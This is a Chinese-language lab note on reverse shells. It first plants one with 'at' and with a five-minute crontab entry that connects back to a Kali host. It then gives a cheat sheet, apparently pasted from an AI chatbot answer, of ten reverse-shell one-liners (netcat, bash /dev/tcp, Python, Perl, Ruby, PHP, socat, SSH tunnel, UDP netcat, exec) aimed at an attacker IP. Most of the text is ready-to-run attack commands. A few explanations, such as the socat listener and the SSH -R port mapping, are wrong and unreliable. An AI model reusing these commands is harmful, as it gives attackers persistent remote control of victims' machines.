计划任务反弹shell

1、使用一次性计划任务和周期性计划任务反弹shell(5分钟后执行,和每5分钟执行1次),kali主机接收,解释命令字的含义

5分钟后执行

at now + 5min #at命令创建一个5分钟后执行的计划任务
输入要执行的操作 bash -i >& /dev/tcp/192.168.227.129/1234 0>&1

屏幕截图 2025-08-07 155116

5分钟后kali验证:

屏幕截图 2025-08-07 155549

每5分钟执行一次

crontab -e #使用cron命令创建计划任务
输入 */5 * * * * bash -i >& /dev/tcp/192.168.227.129/1234 0>&1

屏幕截图 2025-08-07 160340

image-20250807162027513

2.其他反弹shell方式

好的,我将逐一详细讲解每种反弹 shell 的实现方式,并解释每个命令背后的原理。反弹 shell 是一种利用目标机器连接回攻击者的机器,以便获得对目标的控制。以下是每种方法的详细解析。

1. Netcat 反弹 Shell

原理

Netcat是一个简单的网络工具,用于通过 TCP 或 UDP 协议进行数据传输。它常常被用来建立反向连接。

步骤

  • 攻击者机器(监听端口):

    nc -lvp 1234
    • -l: 让 Netcat 监听指定端口。
    • -v: 打印更详细的信息(verbose)。
    • -p: 指定监听的端口。
    • 1234: 指定端口号,攻击者的机器会在这个端口上等待连接。
  • 目标机器(反弹连接):

    nc <attacker_IP> 1234 -e /bin/bash
    • <attacker_IP>: 攻击者的 IP 地址。
    • 1234: 目标机器连接的端口号。
    • -e /bin/bash: 当连接建立后,-e 参数让目标机器执行 /bin/bash,也就是打开一个 shell。

解释

  • 当目标机器执行该命令时,它会连接到攻击者的机器(监听在端口 1234),并通过 -e 参数执行 /bin/bash,将标准输入/输出重定向到网络连接中,攻击者就可以通过网络控制目标机器的 shell。

2. Bash 反弹 Shell

原理

Bash 是 Linux 中的默认 shell,具有强大的内建功能。通过 bash 的内建命令,可以直接建立反向连接。

步骤

  • 目标机器

    bash -i >& /dev/tcp/<attacker_IP>/1234 0>&1
    • bash -i: 启动一个交互式的 Bash shell。
    • >& /dev/tcp/<attacker_IP>/1234: 将标准输出(stdout)和标准错误(stderr)重定向到通过 /dev/tcp/ 设备文件建立的 TCP 连接。
    • 0>&1: 将标准输入(stdin)也重定向到同样的 TCP 连接。

解释

  • /dev/tcp 是 Linux 中一个特殊的设备文件,它允许通过它进行 TCP 连接。在这个例子中,Bash 会通过这个设备文件建立与攻击者机器的连接,并将交互式 shell 的输入/输出通过网络传输,从而实现反向 shell。

3. Python 反弹 Shell

原理

Python 是一种高级编程语言,具有丰富的网络编程功能。可以使用 Python 来创建一个 socket 连接,并与攻击者的机器建立反向连接。

步骤

  • 目标机器

    python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_IP>",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
    • import socket, os, pty: 导入需要的 Python 库:socket 用于网络连接,os 用于文件操作,pty 用于伪终端(用于交互式 shell)。
    • socket.socket(socket.AF_INET, socket.SOCK_STREAM): 创建一个 IPv4 类型的 TCP socket。
    • s.connect(("<attacker_IP>", 1234)): 连接到攻击者机器的 IP 地址和端口。
    • os.dup2(s.fileno(), 0), os.dup2(s.fileno(), 1), os.dup2(s.fileno(), 2): 将目标机器的输入(stdin)、输出(stdout)和错误输出(stderr)重定向到 TCP socket 上。
    • pty.spawn("/bin/bash"): 使用伪终端启动一个交互式 Bash shell。

解释

  • 通过 Python 创建一个 socket,并将输入/输出流重定向到该 socket 上,从而实现了目标机器的反向 shell。当攻击者连接到该端口时,就能获得一个交互式的 shell。

4. Perl 反弹 Shell

原理

Perl 是一种广泛使用的脚本语言,类似 Python,也有强大的网络编程功能。可以通过 Perl 来实现反向 shell。

步骤

  • 目标机器

    perl -e 'use Socket;$i="<attacker_IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    • use Socket: 加载 Perl 的 Socket 模块。
    • $i="<attacker_IP>";$p=1234: 设置攻击者 IP 和端口。
    • socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")): 创建一个 TCP socket。
    • connect(S,sockaddr_in($p,inet_aton($i))): 连接到攻击者的机器。
    • open(STDIN,">&S"), open(STDOUT,">&S"), open(STDERR,">&S"): 将目标机器的标准输入、输出和错误重定向到 socket。
    • exec("/bin/bash -i"): 启动交互式 Bash shell。

解释

  • 这个命令通过 Perl 脚本建立 TCP 连接,接着通过 open 函数将标准输入/输出重定向到 socket,从而实现反向连接的 shell。

5. Ruby 反弹 Shell

原理

Ruby 也是一种脚本语言,类似于 Python 和 Perl,具备处理网络连接的功能。通过 Ruby 的 socket 库,也可以实现反向 shell。

步骤

  • 目标机器

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<attacker_IP>",1234);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    • -rsocket: 加载 Ruby 的 socket 库。
    • fork: 创建一个子进程来处理 socket。
    • c=TCPSocket.new("<attacker_IP>", 1234): 创建一个连接到攻击者 IP 和端口的 TCP socket。
    • while(cmd=c.gets): 读取从攻击者发送来的命令。
    • IO.popen(cmd, "r"): 执行读取到的命令。
    • c.print io.read: 将命令输出返回给攻击者。

解释

  • Ruby 脚本通过 socket 库与攻击者建立连接,然后接收命令并执行,将结果发送回攻击者,实现反向 shell。

6. PHP 反弹 Shell

原理

如果目标机器上运行了 PHP(通常是 Web 服务器),则可以利用 PHP 的 exec() 函数执行反向 shell。

步骤

  • 目标机器(Web 服务器上的 PHP 文件):

    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_IP>/1234 0>&1'"); ?>

解释

  • PHP 的 exec() 函数允许执行 shell 命令。通过这段 PHP 代码,可以让目标服务器通过 bash 执行反向连接命令。

抱歉,我之前没有完整地解释所有十种反弹 shell 方法。现在我将继续详细解释剩下的五种方法:

7. Socat 反弹 Shell

原理

Socat 是一个非常强大的网络工具,允许在两端创建双向数据流。它支持许多协议,包括 TCP、UDP、Unix 套接字等,可以用来建立反向 shell。

步骤

  • 攻击者机器(监听端口):

    socat TCP-LISTEN:1234,reuseaddr,fork EXEC:/bin/bash
    • TCP-LISTEN:1234: 监听端口 1234。
    • reuseaddr: 允许重用地址(即使端口已被占用也能继续监听)。
    • fork: 为每个连接创建一个新的进程。
    • EXEC:/bin/bash: 启动一个 /bin/bash shell 并将其与连接绑定。
  • 目标机器(反弹连接):

    socat TCP:<attacker_IP>:1234 EXEC:/bin/bash
    • TCP:<attacker_IP>:1234: 连接到攻击者的 IP 和端口。
    • EXEC:/bin/bash: 在连接上执行 /bin/bash

解释

  • Socat 通过 TCP 协议在攻击者和目标机器之间建立一个双向数据流,并启动一个交互式 shell。目标机器通过 socat 连接到攻击者的机器,攻击者就可以控制目标机器的 shell。

8. SSH 反向隧道(Reverse SSH)

原理

SSH(Secure Shell)不仅用于远程登录,还可以通过反向隧道(Reverse SSH)建立一个安全的连接。反向隧道可以使目标机器向攻击者机器开放一个端口,从而实现反弹 shell。

步骤

  • 目标机器(反向连接):

    ssh -R 1234:localhost:22 user@attacker_IP
    • -R 1234:localhost:22: 将目标机器的 1234 端口转发到攻击者机器的 22 端口(SSH 默认端口),实现反向隧道。
    • user@attacker_IP: 目标机器连接到攻击者的 SSH 服务。
  • 攻击者机器(监听端口):

    ssh -p 1234 user@localhost
    • 通过 SSH 连接到本地端口 1234(由目标机器转发),从而访问目标机器的 shell。

解释

  • 通过 SSH 反向隧道,目标机器创建了一个连接,使攻击者可以通过本地端口访问目标机器的端口。攻击者可以通过 SSH 连接目标机器的 shell,绕过防火墙或 NAT 限制。

9. Netcat 反向 Shell(UDP)

原理

在某些情况下,目标机器的防火墙可能只允许 UDP 流量而阻止 TCP 流量。通过 Netcat 使用 UDP 协议,可以在这些情况下建立反向连接。

步骤

  • 攻击者机器(监听端口):

    nc -u -lvp 1234
    • -u: 启用 UDP 协议。
    • -l: 监听指定端口。
    • -v: 启用详细输出。
    • -p 1234: 指定监听的端口(1234)。
  • 目标机器(反向连接):

    nc -u <attacker_IP> 1234 -e /bin/bash
    • -u: 启用 UDP 协议。
    • <attacker_IP>: 攻击者的 IP 地址。
    • 1234: 目标机器连接到攻击者的端口。
    • -e /bin/bash: 启动一个 Bash shell。

解释

  • 通过 UDP 协议建立反向连接,Netcat 将目标机器的输入/输出重定向到攻击者机器的 UDP 端口。这种方法适用于防火墙只允许 UDP 流量的情况。

10. TCP/UDP 反弹 Shell 使用 exec

原理

通过 exec 命令,目标机器可以将其 shell 输入/输出重定向到 TCP 或 UDP 连接。这种方法非常简洁,不依赖于额外的工具。

步骤

  • 目标机器(反弹连接):

    exec 5<>/dev/tcp/<attacker_IP>/1234; cat <&5 | while read line; do $line 2>&5 >&5; done
    • exec 5<>/dev/tcp/<attacker_IP>/1234: 打开一个 TCP 连接到攻击者的机器,端口为 1234,文件描述符 5 连接该端口。
    • cat <&5: 从文件描述符 5 读取数据(即攻击者发送的命令)。
    • while read line; do $line 2>&5 >&5; done: 循环读取命令并执行,然后将输出和错误输出重定向回文件描述符 5,从而发送回攻击者。

解释

  • /dev/tcp 是一个特殊的设备文件,可以用来通过 Bash 与远程主机进行 TCP 连接。通过 exec 命令和 cat,目标机器将输入输出重定向到网络连接,攻击者就能获得 shell。